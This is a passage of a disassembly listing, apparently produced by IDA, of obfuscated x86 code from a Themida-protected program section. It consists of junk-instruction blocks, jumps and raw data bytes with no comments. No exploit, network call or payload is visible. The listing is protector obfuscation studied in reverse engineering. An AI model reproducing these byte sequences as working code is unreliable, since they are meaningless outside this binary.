		shl	dword ptr [esp], cl
		pushf
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_54C18A:				; CODE XREF: Themida_:0054F179j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6347B3ACh
		xor	ebx, ecx
		jmp	loc_5533F3
; ---------------------------------------------------------------------------


loc_54C1A0:				; CODE XREF: Themida_:0054ED77j
		push	3AB5126Ch
		push	dword ptr [esp]
		jmp	loc_553F42
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC815Ah, 89000000h,	8B54243Ch, 0C481243Ch, 4, 5E16B951h
		dd 0E1C144E0h, 5C2CE907h, 0F4680000h, 0E9000067h, 6965h
		dd 0E9241C89h, 45Bh, 814DD5F7h,	952DE8EDh, 0D0E95261h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C1F3:				; CODE XREF: Themida_:0054A161j
		push	edi
		push	esi
		jmp	loc_553133
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0D613E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C202:				; CODE XREF: Themida_:005553B1j
		add	eax, ecx
		push	ebp
		mov	ebp, 17C732FBh
		jmp	loc_54E591
; ---------------------------------------------------------------------------
		db 80h
		dd 0CA8035C2h, 0E8E5E9ECh, 0C581FFFFh, 165606C6h, 0E904E5C1h
		dd 7052h
; ---------------------------------------------------------------------------


loc_54C228:				; CODE XREF: Themida_:0054F16Bj
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54B64B
; ---------------------------------------------------------------------------


loc_54C236:				; CODE XREF: Themida_:005526D9j
		pop	eax
		jmp	loc_5520CB
; ---------------------------------------------------------------------------
		dd 0B151665Ah, 66C83064h, 68240C8Bh, 949h, 8214E9h, 0E9C14900h
		dd 0D1E98105h, 89038451h, 2EFFE9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C262:				; CODE XREF: Themida_:0054DD2Aj
		pop	esp
		pop	ebp
		push	ebp
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		pop	eax
		pop	ebp
		push	5356h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		jmp	loc_54AEBF
; ---------------------------------------------------------------------------
		db 53h
		dd 380C6CBBh, 5BD8317Bh, 0FFDFEEE9h, 83C381FFh,	81481176h
		dd 0EE104CEBh, 5BD90115h, 89C1E9h, 4EC8300h, 0FFEF04E9h
		dd 0B353ACFFh, 2EC81B5h, 66000000h, 0E9240C89h,	0FFFFFDC6h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 1E11E924h,	0E1810000h
		dd 0C3C6A9Ah, 2BAEE9h, 24048700h, 5524248Bh, 0DF70D6BDh
		dd 4EC8139h, 89000000h,	0F5B9240Ch, 5614FB18h, 69E8F7BEh
		dd 0E9F1012Dh, 1D13h
; ---------------------------------------------------------------------------


loc_54C314:				; CODE XREF: Themida_:00549927j
		pop	edi
		jmp	loc_54CADB
; ---------------------------------------------------------------------------


loc_54C31A:				; CODE XREF: Themida_:0055341Aj
		mov	[esp], ecx
		jmp	loc_54D923
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 51F63722h, 7B9E9h, 24248B00h, 23B46866h, 24148966h
		dd 80A4B151h, 0F18012E1h, 59CA8802h, 13CBE9h, 0E7895700h
		dd 4C781h, 0B9510000h, 28E9782Dh, 2AE98141h, 2928E978h
		dd 3C8759CFh, 14895C24h, 1BB5324h, 53000000h, 74242C81h
		dd 5A72D352h, 83E08950h, 3C8904ECh, 5A08BF24h, 0DFF72216h
		dd 0F781DFF7h, 22165A0Ch, 0CCE9F801h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C397:				; CODE XREF: Themida_:0054EA3Fj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edi
		push	edx
		mov	edx, 17841B80h
		or	edx, 0D506146h
		shr	edx, 5
		add	edx, 7F3900E1h
		jmp	loc_549E90
; ---------------------------------------------------------------------------
		db 0B2h
		dd 1EB49Ch, 0E1885AD4h,	8172E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C3CA:				; CODE XREF: Themida_:0054A5EEj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_549BAB
; ---------------------------------------------------------------------------
		db 68h
		dd 1FD36AF0h, 6EBC15Bh,	0C6F9EB81h, 96E9AA14h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C3FF:				; CODE XREF: Themida_:0054A584j
		xor	[esp], esi
		jmp	loc_54B044
; ---------------------------------------------------------------------------


loc_54C407:				; CODE XREF: Themida_:0054A172j
		add	esi, ebp
		add	esi, 73B8082Ch
		jmp	loc_550D2B
; ---------------------------------------------------------------------------
		dd 8704C383h, 0DCE9241Ch, 83000034h, 4BE901E9h,	0E900003Ch
		dd 0FFFFD3E9h, 6624248Bh, 5324048Bh, 53575B54h,	8F3A5268h
		dd 814B5B3Ch, 857376CBh, 6E3C157h, 74EAEB81h, 0DF89C4B4h
		dd 0F7CF875Bh, 0F84E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C45A:				; CODE XREF: Themida_:0054EACDj
		add	[esp+8], ebx
		pop	ebx
		jmp	loc_54BF0A
; ---------------------------------------------------------------------------


loc_54C464:				; CODE XREF: Themida_:0054A706j
		add	esp, 4
		add	edx, ebx
		pop	ebx
		add	edx, 1EC51119h
		sub	edx, eax
		sub	edx, 1EC51119h
		jmp	loc_54C9FE
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C3815B54h, 4, 1445BD55h, 0DDF75046h, 68h, 24048100h
		dd 14D85D27h, 4240481h,	0E9435238h, 7D6Eh
; ---------------------------------------------------------------------------


loc_54C4A8:				; CODE XREF: Themida_:0054EB23j
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_551950
; ---------------------------------------------------------------------------


loc_54C4B3:				; CODE XREF: Themida_:0054BA82j
		mov	ebp, ecx
		pop	ecx
		mov	edx, 93DA72EAh
		sub	edx, ebp
		pop	ebp
		shr	edx, 5
		push	edx
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	edx
		xor	edx, 0FF9D5F6Eh
		sub	eax, 6ED235E3h
		add	eax, edx
		jmp	loc_554EAC
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E8830000h, 0D58BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C4EA:				; CODE XREF: Themida_:0055288Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	6B5B6B3Fh
		pop	ebp
		add	ebp, 1
		push	eax
		jmp	loc_54B8B8
; ---------------------------------------------------------------------------
		dd 0FFD304E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C511:				; CODE XREF: Themida_:00551269j
		add	dword ptr [esp+4], 65E94C41h
		add	dword ptr [esp+4], 7FDC1DDDh
		add	[esp+4], edi
		sub	dword ptr [esp+4], 7FDC1DDDh
		push	edx
		mov	edx, 65E94C41h
		jmp	loc_5544D1
; ---------------------------------------------------------------------------
		dd 80D2EC80h, 0E38898F4h, 0B3F38058h, 5B66D828h, 0C3305B66h
		dd 66C0B60Fh, 0E987048Fh, 0FFFFD2BDh
; ---------------------------------------------------------------------------


loc_54C558:				; CODE XREF: Themida_:00553A43j
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5542B7
; ---------------------------------------------------------------------------
		db 1, 0C1h, 8Bh
		dd 0C4832404h, 2C18104h, 87000000h, 248B240Ch, 4FF6624h
		dd 12E99C24h, 66000048h, 662706BBh, 5B66D929h, 56665166h
		dd 3F67BE66h, 24742966h, 0E95E6602h, 0FFFFF8B9h
; ---------------------------------------------------------------------------


loc_54C5A0:				; CODE XREF: Themida_:0054DD87j
		add	ebx, 0FFFFFFFFh
		jmp	loc_54BF86
; ---------------------------------------------------------------------------
		dd 207F83ADh, 0F7840F00h, 53FFFFDCh, 12AC6852h,	815A21F5h
		dd 2D6724C2h, 5EAC11Fh,	0F281D2F7h, 8537F5B6h, 469FE952h
		dd 8B660000h, 8155240Ch, 4ECh, 24248900h, 6418E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C5E5:				; CODE XREF: Themida_:0054D947j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_551F92
; ---------------------------------------------------------------------------


loc_54C601:				; CODE XREF: Themida_:0054F772j
		mov	ecx, 66EB44E3h
		jmp	loc_54EF84
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E3E9242Ch
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C613:				; CODE XREF: Themida_:0054F220j
		push	esp
		pop	esi
		jmp	loc_54A6D8
; ---------------------------------------------------------------------------
		dw 1C87h
a313Sri		db '$\3<$1<$3<$éà‰',0
		align 4
aE_0		db '°E',0
aSdl		db 'Ãé¤L',0
		dd 58C70100h, 0A2E95755h, 0B3000027h, 5BD828C3h, 8B2434FFh
		dd 0F5E9241Ch, 5C000023h, 60ABE9h, 7670BA00h, 0D3293528h
		dd 0D1B3E95Ah, 0E953FFFFh, 0FFFFE327h, 2876EF80h, 0E8285BF8h
		dd 52591304h, 0FFF300E9h, 81E389FFh, 4C3h, 4C38300h, 5C241C87h
		dd 4746866h, 1250E9h, 0BF575100h, 6C1102ACh, 7FFAE781h
		dd 0DFF75E2Ch, 0CE75EF81h, 0F989886Ch, 8FE1815Fh, 8158DE0Bh
		dd 0AA420FE9h, 31C1814Ah, 49298909h, 660FC181h,	0CD316BA5h
		dd 34C58159h, 0E905AB98h, 0FFFFE5DAh, 66D830ACh, 1A3AE952h
		dd 0C4830000h, 1EB8104h, 81000000h, 8864D4F3h, 8B5A5318h
		dd 8950241Ch, 405E0h, 4050000h,	87000000h, 2D5C2404h, 4A425E25h
		dd 3A0605h, 0E9D0292Ah,	62ABh, 0E92434FFh, 607Eh, 2434875Dh
		dd 3D02E9h, 75B95100h, 49009173h, 12D4C981h, 0E9817AF3h
		dd 7AF373F0h, 8759CA29h, 895C2414h, 0BBE92434h,	5B000082h
		dd 34FFCB01h, 0C4815924h, 4, 0FFDF2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C755:				; CODE XREF: Themida_:0054E740j
		push	ecx
		mov	ecx, 4
		sub	ebx, 400F55F2h
		sub	ebx, ecx
		push	ebp
		mov	ebp, 400F55F2h
		add	ebx, ebp
		pop	ebp
		pop	ecx
		jmp	loc_54F31C
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 1EA8BF24h, 0EFC11535h, 3EFC105h, 0E2D2E947h,	0C31FFFFh
		dd 240C3324h, 3F80685Ch, 71E90000h, 51h, 2434FFD7h, 4C4835Ah
		dd 510ECF80h, 0E5C0C5B5h, 0E0A7E902h, 685CFFFFh, 6BDEh
		dd 0B8240489h, 4, 1E56C381h, 22E968D4h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C7C7:				; CODE XREF: Themida_:0054F193j
		push	141Bh
		jmp	loc_552CA9
; ---------------------------------------------------------------------------


loc_54C7D1:				; CODE XREF: Themida_:00554C22j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		jmp	loc_54A146
; ---------------------------------------------------------------------------


loc_54C7E1:				; CODE XREF: Themida_:0054BC25j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 47D53701h
		jmp	loc_54A732
; ---------------------------------------------------------------------------
		dw 4BFh
aLvsS		db ';‹vé¿S',0
		align 10h


loc_54C800:				; CODE XREF: Themida_:005543B9j
		mov	edx, 0D617629h
		add	edx, 728F6C44h
		not	edx
		sub	edx, 800F1D8Eh
		mov	esi, edx
		pop	edx
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		push	edx
		jmp	loc_54B63E
; ---------------------------------------------------------------------------
		db 31h,	0FDh, 0F7h
		dd 0E9FD87D7h, 0FFFFF9EAh, 0B5240C89h, 0E9E8003Ah, 0FFFFF554h
		dd 81E78957h, 4C7h, 2B95100h, 1000000h,	3C8759CFh, 76E95C24h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C857:				; CODE XREF: Themida_:0054DA3Fj
		pop	ecx
		add	ecx, 0DA047B3h
		shr	ecx, 7
		shl	ecx, 2
		sub	ecx, 0BE2723ECh
		mov	eax, ecx
		pop	ecx
		sub	eax, 0E6518FF1h
		sub	ecx, eax
		pop	eax
		mov	[edx], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54F486
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 8Bh
		dd 68512414h, 2001h, 5EBF68h, 24248900h, 4240483h, 8324048Fh
		dd 0FF042404h, 83592434h, 81E904C4h, 89000041h,	0E951241Ch
		dd 8EF0h, 592434FFh, 5E08950h, 4, 405h,	24048700h, 0FFE5FDE9h
		dd 0BBFFh, 0EC810000h, 4, 0BBFE9h, 240C8900h, 0B9h, 1E02E900h
		dd 0EFC10000h, 6F78105h, 5735FF9Fh, 0BA243481h,	5B05D26Bh
		dd 6BBAF381h, 555F05D2h, 3B98E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C909:				; CODE XREF: Themida_:0054DF55j
		push	1167h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54F981
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0CBh
		dd 375C6415h, 3CF3814Bh, 817A2930h, 4ECh, 7CBBE900h, 0EBC10000h
		dd 0F95FE905h, 2268FFFFh, 5F10A41Ah, 252AC781h,	0D7290FD2h
		dd 2D9DE9h, 8BFE0100h, 41E9243Ch, 29000055h, 24348BF3h
		dd 5004C483h, 0FFD7AFE9h, 562D05FFh, 54E9794Ah
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C973:				; CODE XREF: Themida_:0054E2F3j
		pop	ebx
		jmp	loc_551B78
; ---------------------------------------------------------------------------
aDawcfsrd	db '¾¤aWcFéàd',0
		align 4


loc_54C984:				; CODE XREF: Themida_:00551EECj
		mov	bh, ch
		push	eax
		mov	ah, bh
		mov	dl, ah
		pop	eax
		pop	ebx
		jmp	loc_551740
; ---------------------------------------------------------------------------
		dw 7EE9h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C997:				; CODE XREF: Themida_:00552F9Ej
		push	530Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_552E34
; ---------------------------------------------------------------------------


loc_54C9B6:				; CODE XREF: Themida_:0054B028j
		push	ebp
		jmp	loc_553319
; ---------------------------------------------------------------------------
		dd offset dword_4FB044+324h
		dd 0DF86800h, 8F540000h, 0BB532404h, 4,	4245C01h, 24048F5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5533B5
; ---------------------------------------------------------------------------


loc_54C9F6:				; CODE XREF: Themida_:005513CFj
		xor	ebp, [esp]
		jmp	loc_54F305
; ---------------------------------------------------------------------------


loc_54C9FE:				; CODE XREF: Themida_:0054C478j
		push	ecx
		push	edi
		mov	edi, 5C947730h
		mov	ecx, 0EB09AFA5h
		jmp	loc_551C26
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA758BF3h, 0EDF3811Fh, 29004326h, 2E95BDDh,	0ACFFFFEBh
		dd 0FFDFAFE9h, 0EB8143FFh, 49322B97h, 4947E9h, 24048900h
		dd 0B247B4B8h, 38F1051Ch, 0D0F727C8h, 183F3540h, 0B251A69h
		dd 353AF80Ah, 20B73BA3h, 8158C631h, 96F948C6h, 5EF329BCh
		dd 5202E3C1h, 0FFFBECE9h, 24048BFFh, 4C481h, 0C330000h
		dd 240C3124h, 0E9240C33h, 12AFh, 5B242C81h, 5D438D0Bh
		dd 0B5BC581h, 8958438Dh, 242C8BEEh, 27ACE9h, 6E95E00h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CA9F:				; CODE XREF: Themida_:0054ECEEj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54D61D
; ---------------------------------------------------------------------------


loc_54CAAD:				; CODE XREF: Themida_:0054F843j
		pop	eax
		shl	edi, 2
		dec	edi
		xor	edi, 5CAB764Bh
		mov	edx, edi
		pop	edi
		inc	edx
		or	edx, 223B103Bh
		add	edx, 60227393h
		and	edx, 17A3665h
		add	edx, 1637EDA6h
		xor	ebx, edx
		jmp	loc_553A48
; ---------------------------------------------------------------------------


loc_54CADB:				; CODE XREF: Themida_:0054C315j
		xor	ebp, 526C571Ah
		jmp	loc_550934
; ---------------------------------------------------------------------------
		dw 8141h
		dd 0FFFFFFE9h, 0D1F749FFh, 0C8DEF181h, 31E9AE09h, 87FFFFCEh
		dd 7EE9240Ch, 5DFFFFFDh, 6804C483h, 0C9AEFBF1h,	0FFFC32E9h
		dd 213105FFh, 0C4050E56h, 0E91A5565h, 6D55h, 7CB45058h
		dd 0CC80D4F6h, 0CEE48060h, 8016E480h, 0E3008AC4h, 4EC8158h
		dd 89000000h, 79B62414h, 0E680C6FEh, 80C6FEF9h,	0CE80AAF6h
		dd 2EF68056h, 34A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CB55:				; CODE XREF: Themida_:0054F2E3j
		add	ebp, 4
		push	edx
		push	1352h
		mov	[esp], eax
		mov	eax, 4
		push	eax
		pop	edx
		jmp	loc_54B758
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 515A2434h, 40E9E189h, 83FFFFF0h,	0DFE904C4h
		dd 81000042h, 0CA5BE3C7h, 0F1EF8132h, 47191150h, 4E8BE9h
		dd 66536600h, 0E95B6656h, 5A04h
; ---------------------------------------------------------------------------


loc_54CBA4:				; CODE XREF: Themida_:0054FB82j
		pop	ecx
		sub	[esp+4], ecx
		jmp	loc_54BBF6
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 7A184440h, 0A90E9h, 0FFC18100h, 81FFFFFFh, 0F5C8CEF1h
		dd 59CD89C5h, 0E91C6F09h, 1470h, 3B2B63B9h, 8FC18164h
		dd 0C177EE01h, 0C9E905E1h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CBE3:				; CODE XREF: Themida_:00552967j
		xor	ebx, edx
		jmp	loc_55340D
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4C9E7D13h, 7D11F781h, 8AE94C9Eh, 500000Eh, 4, 81E28952h
		dd 4C2h, 4EA8100h, 0E9000000h, 0FFFFD934h, 891BE954h, 0E9520000h
		dd 5E2Dh, 50D3015Fh, 784CAAB8h,	702E93Ah, 0C870000h, 0C335C24h
		dd 2679E924h, 0BE560000h, 2, 525EF229h,	42474FFh, 74D5E9h
		dd 241C3300h, 5224248Bh, 0C2815A54h, 4,	6477E9h, 0EC835C00h
		dd 240C8904h, 0A06E952h, 15680000h, 89000010h, 0E789243Ch
		dd 7498E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CC7E:				; CODE XREF: Themida_:0055473Aj
		sub	edx, eax
		pop	eax
		add	edx, 0D94666BCh
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 241D7A05h
		dec	ebp
		jmp	loc_54A531
; ---------------------------------------------------------------------------
		db 53h,	56h, 68h
		dd 50143F13h, 0F8E9465Eh, 0C1000001h, 0EF2D02E8h, 1ADDF7Ah
		dd 875A58C3h, 248B241Ch, 833FE924h, 8B660000h, 80E9240Ch
		dd 8F000055h, 665C2404h, 5524048Bh, 81E38953h, 4C3h, 4EB8300h
		dd 0E9241C87h, 196h, 37AEC581h,	0F5810CB2h, 61746DB3h
		dd 15F9CD81h, 0F581392Bh, 0CDFEF3EDh, 34FF5955h, 0FDF9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD0A:				; CODE XREF: Themida_:00552225j
		mov	ecx, 4E230CDCh
		xor	ecx, esi
		pop	esi
		sub	esi, 6EA3511h
		add	esi, ecx
		add	esi, 6EA3511h
		pop	ecx
		jmp	loc_5515BB
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 0E6E904C4h, 68FFFFCAh, 7D1F3C61h, 0A3C7815Fh, 8982E0C3h
		dd 0D7015FFAh, 4C7835Ah, 5C243C87h, 4004E9h, 15E95800h
		dd 66000084h, 0E959665Bh, 0FFFFE125h, 6824048Bh, 3E6Ah
		dd 89243489h, 4C681E6h,	55000000h, 493CAEBDh, 2950E972h
		dd 555E0000h, 7385E9h, 3DC28100h, 29898FBFh, 0D6015AD6h
		dd 73F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CD91:				; CODE XREF: Themida_:0055147Fj
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_552CFC
; ---------------------------------------------------------------------------


loc_54CDA8:				; CODE XREF: Themida_:005547B1j
		add	al, 8Ah
		push	bx
		jmp	loc_54B455
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 4Ch
		dd 50005375h, 4164E9h, 4BE00h, 0F3010000h, 15ABE95Eh, 0EA010000h
		dd 4B28EA81h, 555D3FE4h, 2BDh, 0E9EA0100h, 0FFFFF137h
		dd 0EB81D3F7h, 7CDF706Ah, 829EF381h, 0DF2922C9h, 6941E95Bh
		dd 52660000h, 0D3288CB2h, 0EB805A66h, 0E9C300E5h, 7FBh
		dd 565B5453h, 5F58E9h, 5CF1BA00h, 8EE99A60h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CE1B:				; CODE XREF: Themida_:00553DCFj
		pop	ebx
		xor	bh, al
		jmp	loc_5544FA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 89522404h, 0FEE957E2h, 89000050h,	0D5F758C5h
		dd 309DE9h, 4EC8100h, 89000000h, 0EC81242Ch, 4,	68243C89h
		dd 745210A7h, 5F2434FFh, 4F04C483h, 7202E9h, 5BDA2900h
		dd 0C281C229h, 100F70A3h, 5025E9h, 59686600h, 0C89666Bh
		dd 0C997E924h, 685CFFFFh, 4D94h, 6BE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CE89:				; CODE XREF: Themida_:0054D644j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		jmp	loc_550E5C
; ---------------------------------------------------------------------------
		dw 468h
		dd 0FF000000h, 3EE92434h, 8100003Ah, 0D94CC0CEh, 81D6F743h
		dd 0F88EA5C6h, 8BF389A4h, 0C4832434h, 0FB6BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CEBE:				; CODE XREF: Themida_:0054C01Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54F186
; ---------------------------------------------------------------------------
		dw 83B3h
		dd 0E95BD930h, 0FFFFE0F0h, 5324248Bh, 1C88D388h, 2434FF87h
		dd 5B2434FFh, 4C481h, 54530000h, 6DBE565Bh, 0F73D7868h
		dd 0DDCE81D6h, 8131FF01h, 6825C6h, 5EF3010Ch, 8704C383h
		dd 0E95C241Ch, 0FFFFC905h, 89CFE95Eh, 2BF0000h,	1000000h
		dd 243C8BFBh, 46A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CF25:				; CODE XREF: Themida_:0054D1FDj
		add	ebx, eax
		jmp	loc_54B343
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 0E9590000h, 5135h
; ---------------------------------------------------------------------------


loc_54CF3C:				; CODE XREF: Themida_:0054EDB1j
		push	581Bh
		mov	[esp], ebx
		mov	bh, 0F0h
		jmp	loc_54DD5F
; ---------------------------------------------------------------------------
		db 56h
		dd 3F6306BEh, 9AF6810Eh, 464C2B0Fh, 8107EEC1h, 0A352FCEh
		dd 6AC6813Fh, 0E9051A2Ah, 7B5Ch, 81243C8Bh, 4C4h, 0C2895200h
		dd 7FE268h, 24148900h, 0FC242C81h, 8F166931h, 7E39E901h
		dd 32FF0000h, 0FFC880E9h, 4AC580FFh, 0E959EB28h, 803Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	56ACh
		mov	[esp], ecx
		jmp	loc_555988
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 68h
		dd 7A1Fh, 50241489h, 1738EFB8h,	4EC8363h, 0E9243C89h, 41BBh
		dd 240C8966h, 23BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_54CFE1:				; CODE XREF: Themida_:00555918j
		push	74D4h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, esp
		jmp	loc_553AA6
; ---------------------------------------------------------------------------
		db 57h
		dd 5F2404FFh, 14B1C781h, 0C7815B3Bh, 1DDB9038h,	5000E981h
		dd 0F9292E3Eh, 5000C181h, 46E92E3Eh, 5C000069h,	2896664h
		dd 5C5BE9h, 48B6600h, 696824h, 0A3E90000h, 80000011h, 0C7808AC7h
		dd 5BFE88E3h, 0E680CEFEh, 0F3B75371h, 0FE48CF80h, 3EFC0CFh
		dd 203E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D04D:				; CODE XREF: Themida_:00549BCAj
		add	esp, 4
		sub	esp, 4
		jmp	loc_549BF0
; ---------------------------------------------------------------------------
		dd 240C8B66h, 81E68956h, 4ECh, 7DCE900h, 0E9550000h, 3D61h
; ---------------------------------------------------------------------------


loc_54D070:				; CODE XREF: Themida_:00555998j
		mov	[esp], eax
		push	ebx
		push	eax
		mov	al, dl
		mov	bl, al
		pop	eax
		mov	al, bl
		mov	ebx, [esp]
		add	esp, 4
		mov	ch, al
		pop	eax
		push	edx
		jmp	loc_551EEB
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0C783E902h, 2489FFFFh, 24048324h, 0ACE95904h, 3500007Eh
		dd 311F7F47h, 5158C201h, 811E73B9h, 0FFE98108h,	81676823h
		dd 4A2539F1h, 26E9491Ah
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D0BF:				; CODE XREF: Themida_:005548D5j
		push	eax
		jmp	loc_5555FE
; ---------------------------------------------------------------------------


loc_54D0C5:				; CODE XREF: Themida_:0054D349j
		push	eax
		mov	eax, 2E5009Ch
		dec	eax
		shl	eax, 8
		jmp	loc_54FE0A
; ---------------------------------------------------------------------------


loc_54D0D4:				; CODE XREF: Themida_:00551028j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54D511
; ---------------------------------------------------------------------------
		dd 0F7E9EB01h, 0BDFFFFE3h, 10DF0896h, 46AEED81h, 0ED83787Eh
		dd 6E5C101h, 5008EDC1h,	1B8h, 58C50100h, 307EF581h, 0EB010018h
		dd 0E9242C8Bh, 3694h, 535FFE01h, 0FFE20BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D11D:				; CODE XREF: Themida_:00551F7Bj
		add	esp, 4
		jmp	loc_54DDE4
; ---------------------------------------------------------------------------


loc_54D125:				; CODE XREF: Themida_:00552D28j
		pop	edx
		add	ebx, 1
		shr	ebx, 3
		jmp	loc_54D455
; ---------------------------------------------------------------------------
		db 57h,	50h, 0B8h
		dd 5F940271h, 1B565105h, 0E8C14825h, 3534E903h,	0C7830000h
		dd 243C8704h, 53A3E9h, 0C3C18100h, 81200A7Ch, 0A07834E1h
		dd 0D3F18152h, 8953926Eh, 7905E9CAh, 0DEF70000h, 2EA2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D172:				; CODE XREF: Themida_:0054B631j
		not	cl
		xchg	cl, [esp]
		pop	bx
		push	eax
		mov	al, 3Eh
		shr	al, 7
		push	edx
		mov	dh, 7Fh
		sub	al, dh
		pop	edx
		shr	al, 3
		add	al, 39h
		sub	bl, al
		pop	eax
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 0E7h
		sub	al, dh
		add	al, 0E7h
		mov	dx, [esp]
		jmp	loc_54EDA3
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 365Fh, 0E9240C89h, 32B6h,	4C7815Fh, 81000000h
		dd 4C7h, 243C3300h, 33243C31h, 0F75C243Ch, 29B1E9DEh, 8F590000h
		dd 248B2404h, 48B6624h,	6CC96824h, 1C890000h, 56E38924h
		dd 8ABE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D1F1:				; CODE XREF: Themida_:00553495j
		sub	ebx, 6BAA65E5h
		sub	ebx, 3032137Fh
		jmp	loc_54CF25
; ---------------------------------------------------------------------------


loc_54D202:				; CODE XREF: Themida_:0055076Aj
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_54ECBE
; ---------------------------------------------------------------------------


loc_54D214:				; CODE XREF: Themida_:0054D9DAj
		mov	edi, esp
		jmp	loc_552256
; ---------------------------------------------------------------------------
		db 0BEh
		dd 196938F4h, 21E6F681h, 0E6C14FD7h, 83C68105h,	0F77AE80Ch
